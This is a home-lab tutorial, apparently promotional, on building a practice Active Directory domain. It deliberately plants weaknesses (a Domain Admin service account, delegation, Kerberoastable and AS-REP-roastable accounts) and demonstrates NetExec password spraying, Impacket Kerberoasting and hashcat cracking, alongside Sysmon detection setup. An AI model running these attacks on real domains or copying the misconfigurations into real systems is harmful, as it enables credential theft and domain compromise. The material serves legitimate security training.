How to Build a Realistic Active Directory Home Lab

Active Directory sits at the center of most enterprise networks, which makes it one of the most valuable skills a security professional can develop. Reading about Kerberos tickets or lateral movement is one thing. Actually watching a Golden Ticket work against a domain controller you built yourself is another. This guide walks through building a realistic Active Directory home lab from the ground up, one that mirrors real corporate environments closely enough to make your practice meaningful.

Whether you are prepping for a penetration testing role, sharpening red team skills, or trying to understand attacker tradecraft from the defender's side, a well built lab is the fastest way to turn theory into muscle memory.

Why Build an Active Directory Home Lab

Enterprise AD environments are messy. They have legacy trust relationships, over permissioned service accounts, forgotten GPOs, and years of accumulated misconfiguration. You cannot replicate that complexity by reading slide decks. You need a live environment where you can break things, fix things, and observe exactly how Windows responds.

A home lab gives you:

• A safe, isolated space to run enumeration and exploitation tools without legal or ethical concerns
• The ability to intentionally misconfigure permissions, delegation, and GPOs to study common attack paths
• A repeatable environment for testing detection rules and logging pipelines
• Direct experience with tools like BloodHound, Impacket, and NetExec against a real domain instead of a sandboxed CTF

If you want structured guidance while you build this out, the hands on labs at Redfox Cybersecurity Academy walk through many of these same attack chains in a guided format.

Lab Requirements: Hardware and Software

You do not need enterprise grade hardware. A single reasonably specced workstation or a mid range home server is enough to run a functional multi machine domain.

Minimum Hardware Recommendations

• CPU: 6+ cores with virtualization extensions (Intel VT x or AMD V) enabled in BIOS
• RAM: 32 GB minimum, 64 GB if you want to run multiple clients and a SIEM simultaneously
• Storage: 250 GB SSD free space, NVMe preferred for faster VM boot times
• Networking: A virtual switch capable of isolated internal networking, no need for physical NICs beyond your host

Software You Will Need

• A hypervisor: VMware Workstation Pro, VirtualBox, or Proxmox VE if you want a dedicated bare metal lab server
• Windows Server ISO (evaluation editions are free from Microsoft for 180 days)
• Windows 10 or 11 Enterprise evaluation ISO for client machines
• A Linux attack box, Kali Linux or a custom build with Impacket, BloodHound, and NetExec installed
• Sysmon and a log forwarding solution if you plan to practice detection engineering alongside offense

Setting Up the Virtualization Environment

Start by creating an isolated internal network inside your hypervisor. This keeps lab traffic off your home network and prevents any accidental exposure.

In VMware Workstation, this means creating a custom Host Only or Internal network (VMnet on a private subnet). In Proxmox, create a Linux bridge (vmbr1) with no physical interface attached, so traffic never touches your LAN.

A typical lab topology looks like this:

192.168.56.10   DC01   (Windows Server 2022, Domain Controller)
192.168.56.11   FS01   (Windows Server 2022, File Server)
192.168.56.20   WKS01  (Windows 11, domain joined client)
192.168.56.21   WKS02  (Windows 11, domain joined client)
192.168.56.99   KALI   (Attack box, Impacket / BloodHound / NetExec)


[cta]

Assign static IPs on each VM within this range so DNS resolution stays predictable as you build out the domain.

Installing and Configuring the Domain Controller

Install Windows Server on DC01, apply a static IP, and set the DNS server to point to itself once AD DS is installed. From there, promote the server using PowerShell rather than the GUI, since scripted setup is faster to repeat if you need to rebuild the lab.

Promoting the Server to a Domain Controller

Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools

Import-Module ADDSDeployment

Install-ADDSForest `
   -DomainName "redfoxlab.local" `
   -DomainNetbiosName "REDFOXLAB" `
   -InstallDns:$true `
   -SafeModeAdministratorPassword (ConvertTo-SecureString "L@bAdminP@ss2026!" -AsPlainText -Force) `
   -Force:$true


[cta]

The server will reboot automatically. Once it comes back online, verify the forest and domain functional level:

Get-ADDomain | Select-Object Name, DomainMode, PDCEmulator
Get-ADForest | Select-Object Name, ForestMode


[cta]

Creating a Realistic User and Group Structure

A flat domain with three test accounts will not teach you much. Real environments have dozens of departments, nested groups, and service accounts with excessive privileges. Simulate that by scripting bulk user creation.

$OU = "OU=Employees,DC=redfoxlab,DC=local"
New-ADOrganizationalUnit -Name "Employees" -Path "DC=redfoxlab,DC=local"

$departments = @("Finance","IT","HR","Sales","Engineering")

foreach ($dept in $departments) {
   New-ADOrganizationalUnit -Name $dept -Path $OU
   for ($i = 1; $i -le 8; $i++) {
       $user = "$dept.user$i"
       New-ADUser -Name $user `
           -SamAccountName $user `
           -UserPrincipalName "$user@redfoxlab.local" `
           -Path "OU=$dept,$OU" `
           -AccountPassword (ConvertTo-SecureString "Winter2026!" -AsPlainText -Force) `
           -Enabled $true
   }
}


[cta]

Now create a deliberately over privileged service account, something almost every real environment has and every attacker looks for:

New-ADUser -Name "svc_backup" `
   -SamAccountName "svc_backup" `
   -UserPrincipalName "svc_backup@redfoxlab.local" `
   -AccountPassword (ConvertTo-SecureString "BackupService2026!" -AsPlainText -Force) `
   -Enabled $true `
   -PasswordNeverExpires $true

Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"


[cta]

That single misconfiguration, a service account with domain admin rights and a static password, mirrors one of the most common real world findings in AD penetration tests. If you want to see how these paths get chained together in graded exercises, Redfox Cybersecurity Academy has structured modules that build directly on scenarios like this one.

Joining Client Machines and Simulating Real Traffic

Domain join your Windows client VMs so you have realistic endpoints to pivot through.

Add-Computer -DomainName "redfoxlab.local" `
   -Credential (Get-Credential) `
   -Restart


[cta]

To make the environment feel alive rather than static, script some background activity such as scheduled logons, file share access, and RDP sessions between machines. Real detection engineering practice depends on having actual authentication traffic in your logs, not just the attacker's actions.

schtasks /create /tn "SimulatedLogon" /tr "net use \\FS01\Shared" /sc daily /st 09:00 /ru "Finance.user1"


[cta]

Introducing Common Misconfigurations for Practice

This is where the lab becomes genuinely useful rather than just a checklist exercise. Enterprise AD compromises rarely rely on zero days. They rely on misconfiguration.

Unconstrained Delegation

Get-ADComputer -Identity "FS01" -Properties TrustedForDelegation
Set-ADAccountControl -Identity "FS01" -TrustedForDelegation $true


[cta]

Kerberoastable Service Accounts

Set a Service Principal Name on a user account to make it a Kerberoasting target, a very common finding in real assessments.

setspn -A MSSQLSvc/db01.redfoxlab.local:1433 svc_backup


[cta]

AS-REP Roastable Accounts

Set-ADAccountControl -Identity "IT.user3" -DoesNotRequirePreAuth $true


[cta]

With these three misconfigurations alone (unconstrained delegation, Kerberoasting, and AS-REP roasting) you have recreated the majority of initial foothold to domain admin chains seen in real world engagements.

Installing Attack and Enumeration Tooling

Set up your Kali or custom Linux attack box with the tooling you will use to enumerate and exploit the lab.

sudo apt update && sudo apt install -y python3-pip git
pip3 install impacket
pip3 install netexec


[cta]

Collecting Data with BloodHound

BloodHound remains the standard for visualizing AD attack paths. Install the community edition and its collector, SharpHound, to map trust relationships and privilege escalation routes.

git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker compose up -d


[cta]

Run SharpHound from a domain joined machine to collect the data:

.\SharpHound.exe -c All -d redfoxlab.local


[cta]

Import the resulting zip into BloodHound and look for paths from low privileged users to Domain Admins. This is exactly the kind of attack path analysis that separates a scripted checklist from real tradecraft, something Redfox Cybersecurity Academy emphasizes heavily in its Active Directory attack path courses.

Enumerating with NetExec

NetExec is the modern successor to older SMB enumeration tools and is essential for validating credentials and spraying across the domain.

netexec smb 192.168.56.0/24 -u users.txt -p 'Winter2026!' --continue-on-success
netexec smb DC01 -u svc_backup -p 'BackupService2026!' --shares


[cta]

Kerberoasting with Impacket

GetUserSPNs.py redfoxlab.local/finance.user1:'Winter2026!' -dc-ip 192.168.56.10 -request


[cta]

Take the resulting hashes offline and crack them with hashcat:

hashcat -m 13100 spn_hashes.txt rockyou.txt


[cta]

Adding Detection and Logging for Blue Team Practice

A lab built only for offense teaches half the lesson. Install Sysmon on your domain controller and clients to capture process creation, network connections, and logon events at a level of detail the default Windows event log does not provide.

.\Sysmon64.exe -accepteula -i sysmonconfig.xml


[cta]

Forward those events to a central log collector such as the Elastic stack or Splunk running in a separate VM. This lets you replay your own attacks and watch how they appear in the logs, closing the loop between offense and detection.

wecutil qc /q


[cta]

Practicing detection against your own attack chains is one of the most underused parts of home lab work. It is also a core part of how Redfox Cybersecurity Academy structures its blue team modules, pairing every offensive technique with the corresponding detection opportunity.

Common Mistakes to Avoid When Building Your Lab

• Running everything on flat, default configurations. Real environments have inconsistency, so introduce it deliberately.
• Skipping DNS configuration. AD is deeply dependent on DNS, and a misconfigured resolver will waste hours of troubleshooting that has nothing to do with security.
• Forgetting to snapshot your VMs before testing destructive techniques like Golden Ticket attacks or DCSync.
• Isolating the lab so thoroughly that you never generate any legitimate background traffic, making detection practice unrealistic.
• Only practicing the attack side without ever reviewing what the activity looked like in the event logs.

Final Thoughts

Building a realistic Active Directory home lab takes a weekend of setup, but the payoff compounds every time you use it. You get a repeatable, disposable environment to test enumeration tools, chain privilege escalation paths, and observe how your actions surface in logs, all without touching a production network or waiting for a CTF box to reset.

Start small: one domain controller, a handful of users, and one intentional misconfiguration. Add complexity as you get comfortable, layering in delegation abuse, group policy misconfigurations, and multi domain trusts once the basics feel routine.

If you want a guided path through these exact attack chains with structured labs and walkthroughs, explore the course catalog at Redfox Cybersecurity Academy and put this lab to work against real world scenarios.